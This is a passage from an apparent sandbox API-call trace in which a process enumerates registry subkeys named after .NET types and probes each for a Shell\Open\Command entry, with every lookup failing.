lpName="System.NotFiniteNumberException") returned 0x0 [0101.903] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.NotFiniteNumberException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.903] SetLastError (dwErrCode=0x2) [0101.903] RegCloseKey (hKey=0x0) returned 0x6 [0101.903] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe1c, lpName=0x2eef50, cchName=0x104 | out: lpName="System.NotImplementedException") returned 0x0 [0101.903] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.NotImplementedException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.903] SetLastError (dwErrCode=0x2) [0101.903] RegCloseKey (hKey=0x0) returned 0x6 [0101.903] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe1d, lpName=0x2eef50, cchName=0x104 | out: lpName="System.NotSupportedException") returned 0x0 [0101.903] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.NotSupportedException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.903] SetLastError (dwErrCode=0x2) [0101.903] RegCloseKey (hKey=0x0) returned 0x6 [0101.903] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe1e, lpName=0x2eef50, cchName=0x104 | out: lpName="System.NullReferenceException") returned 0x0 [0101.903] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.NullReferenceException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.903] SetLastError (dwErrCode=0x2) [0101.903] RegCloseKey (hKey=0x0) returned 0x6 [0101.903] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe1f, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Object") returned 0x0 [0101.903] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Object\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.903] SetLastError (dwErrCode=0x2) [0101.903] RegCloseKey (hKey=0x0) returned 0x6 [0101.903] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe20, lpName=0x2eef50, cchName=0x104 | out: lpName="System.ObsoleteAttribute") returned 0x0 [0101.903] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.ObsoleteAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.904] SetLastError (dwErrCode=0x2) [0101.904] RegCloseKey (hKey=0x0) returned 0x6 [0101.904] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe21, lpName=0x2eef50, cchName=0x104 | out: lpName="System.OperationCanceledException") returned 0x0 [0101.904] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.OperationCanceledException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.904] SetLastError (dwErrCode=0x2) [0101.904] RegCloseKey (hKey=0x0) returned 0x6 [0101.904] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe22, lpName=0x2eef50, cchName=0x104 | out: lpName="System.OutOfMemoryException") returned 0x0 [0101.904] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.OutOfMemoryException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.904] SetLastError (dwErrCode=0x2) [0101.904] RegCloseKey (hKey=0x0) returned 0x6 [0101.904] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe23, lpName=0x2eef50, cchName=0x104 | out: lpName="System.OverflowException") returned 0x0 [0101.904] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.OverflowException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.904] SetLastError (dwErrCode=0x2) [0101.904] RegCloseKey (hKey=0x0) returned 0x6 [0101.904] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe24, lpName=0x2eef50, cchName=0x104 | out: lpName="System.ParamArrayAttribute") returned 0x0 [0101.904] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.ParamArrayAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.904] SetLastError (dwErrCode=0x2) [0101.904] RegCloseKey (hKey=0x0) returned 0x6 [0101.904] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe25, lpName=0x2eef50, cchName=0x104 | out: lpName="System.PlatformNotSupportedException") returned 0x0 [0101.904] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.PlatformNotSupportedException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.904] SetLastError (dwErrCode=0x2) [0101.904] RegCloseKey (hKey=0x0) returned 0x6 [0101.905] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe26, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Random") returned 0x0 [0101.905] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Random\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.905] SetLastError (dwErrCode=0x2) [0101.905] RegCloseKey (hKey=0x0) returned 0x6 [0101.905] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe27, lpName=0x2eef50, cchName=0x104 | out: lpName="System.RankException") returned 0x0 [0101.905] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.RankException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.905] SetLastError (dwErrCode=0x2) [0101.905] RegCloseKey (hKey=0x0) returned 0x6 [0101.905] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe28, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Reflection.AmbiguousMatchException") returned 0x0 [0101.905] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Reflection.AmbiguousMatchException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.905] SetLastError (dwErrCode=0x2) [0101.905] RegCloseKey (hKey=0x0) returned 0x6 [0101.905] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe29, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Reflection.AssemblyName") returned 0x0 [0101.905] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Reflection.AssemblyName\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.905] SetLastError (dwErrCode=0x2) [0101.905] RegCloseKey (hKey=0x0) returned 0x6 [0101.905] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe2a, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Reflection.AssemblyNameProxy") returned 0x0 [0101.905] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Reflection.AssemblyNameProxy\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.905] SetLastError (dwErrCode=0x2) [0101.905] RegCloseKey (hKey=0x0) returned 0x6 [0101.905] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe2b, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Reflection.CustomAttributeFormatException") returned 0x0 [0101.906] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Reflection.CustomAttributeFormatException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.906] SetLastError (dwErrCode=0x2) [0101.906] RegCloseKey (hKey=0x0) returned 0x6 [0101.906] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe2c, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Reflection.InvalidFilterCriteriaException") returned 0x0 [0101.906] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Reflection.InvalidFilterCriteriaException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.906] SetLastError (dwErrCode=0x2) [0101.906] RegCloseKey (hKey=0x0) returned 0x6 [0101.906] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe2d, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Reflection.ObfuscationAttribute") returned 0x0 [0101.906] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Reflection.ObfuscationAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.906] SetLastError (dwErrCode=0x2) [0101.906] RegCloseKey (hKey=0x0) returned 0x6 [0101.906] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe2e, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Reflection.TargetException") returned 0x0 [0101.906] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Reflection.TargetException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.906] SetLastError (dwErrCode=0x2) [0101.906] RegCloseKey (hKey=0x0) returned 0x6 [0101.906] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe2f, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Reflection.TargetParameterCountException") returned 0x0 [0101.907] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Reflection.TargetParameterCountException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.907] SetLastError (dwErrCode=0x2) [0101.907] RegCloseKey (hKey=0x0) returned 0x6 [0101.907] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe30, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Resources.MissingManifestResourceException") returned 0x0 [0101.907] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Resources.MissingManifestResourceException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.907] SetLastError (dwErrCode=0x2) [0101.907] RegCloseKey (hKey=0x0) returned 0x6 [0101.907] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe31, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Resources.MissingSatelliteAssemblyException") returned 0x0 [0101.907] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Resources.MissingSatelliteAssemblyException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.907] SetLastError (dwErrCode=0x2) [0101.907] RegCloseKey (hKey=0x0) returned 0x6 [0101.907] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe32, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.CompilerServices.CallConvCdecl") returned 0x0 [0101.907] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.CompilerServices.CallConvCdecl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.907] SetLastError (dwErrCode=0x2) [0101.907] RegCloseKey (hKey=0x0) returned 0x6 [0101.907] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe33, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.CompilerServices.CallConvFastcall") returned 0x0 [0101.907] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.CompilerServices.CallConvFastcall\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.907] SetLastError (dwErrCode=0x2) [0101.907] RegCloseKey (hKey=0x0) returned 0x6 [0101.907] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe34, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.CompilerServices.CallConvStdcall") returned 0x0 [0101.907] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.CompilerServices.CallConvStdcall\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.908] SetLastError (dwErrCode=0x2) [0101.908] RegCloseKey (hKey=0x0) returned 0x6 [0101.908] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe35, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.CompilerServices.CallConvThiscall") returned 0x0 [0101.908] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.CompilerServices.CallConvThiscall\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.908] SetLastError (dwErrCode=0x2) [0101.908] RegCloseKey (hKey=0x0) returned 0x6 [0101.908] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe36, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.CompilerServices.CompilerGlobalScopeAttribute") returned 0x0 [0101.908] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.CompilerServices.CompilerGlobalScopeAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.908] SetLastError (dwErrCode=0x2) [0101.908] RegCloseKey (hKey=0x0) returned 0x6 [0101.908] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe37, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.CompilerServices.DiscardableAttribute") returned 0x0 [0101.908] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.CompilerServices.DiscardableAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.908] SetLastError (dwErrCode=0x2) [0101.908] RegCloseKey (hKey=0x0) returned 0x6 [0101.908] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe38, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.CompilerServices.IDispatchConstantAttribute") returned 0x0 [0101.908] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.CompilerServices.IDispatchConstantAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.908] SetLastError (dwErrCode=0x2) [0101.908] RegCloseKey (hKey=0x0) returned 0x6 [0101.908] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe39, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.CompilerServices.IUnknownConstantAttribute") returned 0x0 [0101.908] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.CompilerServices.IUnknownConstantAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.908] SetLastError (dwErrCode=0x2) [0101.908] RegCloseKey (hKey=0x0) returned 0x6 [0101.909] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe3a, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.CompilerServices.MethodImplAttribute") returned 0x0 [0101.909] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.CompilerServices.MethodImplAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.909] SetLastError (dwErrCode=0x2) [0101.909] RegCloseKey (hKey=0x0) returned 0x6 [0101.909] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe3b, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.CompilerServices.NativeCppClassAttribute") returned 0x0 [0101.909] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.CompilerServices.NativeCppClassAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.909] SetLastError (dwErrCode=0x2) [0101.909] RegCloseKey (hKey=0x0) returned 0x6 [0101.909] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe3c, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Hosting.ApplicationActivator") returned 0x0 [0101.909] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Hosting.ApplicationActivator\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.909] SetLastError (dwErrCode=0x2) [0101.909] RegCloseKey (hKey=0x0) returned 0x6 [0101.909] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe3d, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.ComConversionLossAttribute") returned 0x0 [0101.909] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.ComConversionLossAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.909] SetLastError (dwErrCode=0x2) [0101.909] RegCloseKey (hKey=0x0) returned 0x6 [0101.909] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe3e, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.COMException") returned 0x0 [0101.909] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.COMException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.909] SetLastError (dwErrCode=0x2) [0101.909] RegCloseKey (hKey=0x0) returned 0x6 [0101.909] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe3f, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.ComImportAttribute") returned 0x0 [0101.909] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.ComImportAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.910] SetLastError (dwErrCode=0x2) [0101.910] RegCloseKey (hKey=0x0) returned 0x6 [0101.910] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe40, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.ComRegisterFunctionAttribute") returned 0x0 [0101.910] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.ComRegisterFunctionAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.910] SetLastError (dwErrCode=0x2) [0101.910] RegCloseKey (hKey=0x0) returned 0x6 [0101.910] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe41, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.ComUnregisterFunctionAttribute") returned 0x0 [0101.910] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.ComUnregisterFunctionAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.910] SetLastError (dwErrCode=0x2) [0101.910] RegCloseKey (hKey=0x0) returned 0x6 [0101.910] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe42, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.ExternalException") returned 0x0 [0101.910] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.ExternalException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.910] SetLastError (dwErrCode=0x2) [0101.910] RegCloseKey (hKey=0x0) returned 0x6 [0101.910] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe43, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.InAttribute") returned 0x0 [0101.910] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.InAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.910] SetLastError (dwErrCode=0x2) [0101.910] RegCloseKey (hKey=0x0) returned 0x6 [0101.910] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe44, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.InvalidComObjectException") returned 0x0 [0101.910] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.InvalidComObjectException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.910] SetLastError (dwErrCode=0x2) [0101.910] RegCloseKey (hKey=0x0) returned 0x6 [0101.910] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe45, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.InvalidOleVariantTypeException") returned 0x0 [0101.911] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.InvalidOleVariantTypeException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.911] SetLastError (dwErrCode=0x2) [0101.911] RegCloseKey (hKey=0x0) returned 0x6 [0101.911] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe46, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.MarshalDirectiveException") returned 0x0 [0101.911] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.MarshalDirectiveException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.911] SetLastError (dwErrCode=0x2) [0101.911] RegCloseKey (hKey=0x0) returned 0x6 [0101.911] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe47, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.OptionalAttribute") returned 0x0 [0101.911] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.OptionalAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.911] SetLastError (dwErrCode=0x2) [0101.911] RegCloseKey (hKey=0x0) returned 0x6 [0101.911] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe48, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.OutAttribute") returned 0x0 [0101.911] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.OutAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.911] SetLastError (dwErrCode=0x2) [0101.911] RegCloseKey (hKey=0x0) returned 0x6 [0101.911] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe49, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.PreserveSigAttribute") returned 0x0 [0101.911] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.PreserveSigAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.911] SetLastError (dwErrCode=0x2) [0101.911] RegCloseKey (hKey=0x0) returned 0x6 [0101.911] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe4a, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.RegistrationServices") returned 0x0 [0101.911] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.RegistrationServices\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.912] SetLastError (dwErrCode=0x2) [0101.912] RegCloseKey (hKey=0x0) returned 0x6 [0101.912] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe4b, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.RuntimeEnvironment") returned 0x0 [0101.912] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.RuntimeEnvironment\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.912] SetLastError (dwErrCode=0x2) [0101.912] RegCloseKey (hKey=0x0) returned 0x6 [0101.912] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe4c, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.SafeArrayRankMismatchException") returned 0x0 [0101.912] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.SafeArrayRankMismatchException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.912] SetLastError (dwErrCode=0x2) [0101.912] RegCloseKey (hKey=0x0) returned 0x6 [0101.912] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe4d, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.SafeArrayTypeMismatchException") returned 0x0 [0101.912] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.SafeArrayTypeMismatchException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.912] SetLastError (dwErrCode=0x2) [0101.912] RegCloseKey (hKey=0x0) returned 0x6 [0101.912] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe4e, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.SEHException") returned 0x0 [0101.912] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.SEHException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.912] SetLastError (dwErrCode=0x2) [0101.912] RegCloseKey (hKey=0x0) returned 0x6 [0101.912] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe4f, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.SetWin32ContextInIDispatchAttribute") returned 0x0 [0101.912] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.SetWin32ContextInIDispatchAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.912] SetLastError (dwErrCode=0x2) [0101.912] RegCloseKey (hKey=0x0) returned 0x6 [0101.912] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe50, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.InteropServices.TypeLibConverter") returned 0x0 [0101.913] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.InteropServices.TypeLibConverter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.913] SetLastError (dwErrCode=0x2) [0101.913] RegCloseKey (hKey=0x0) returned 0x6 [0101.913] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe51, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Channels.ClientChannelSinkStack") returned 0x0 [0101.913] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Channels.ClientChannelSinkStack\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.913] SetLastError (dwErrCode=0x2) [0101.913] RegCloseKey (hKey=0x0) returned 0x6 [0101.913] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe52, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Remoting.Channels.ServerChannelSinkStack") returned 0x0 [0101.913] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Remoting.Channels.ServerChannelSinkStack\\Shell\\Open\\Command", 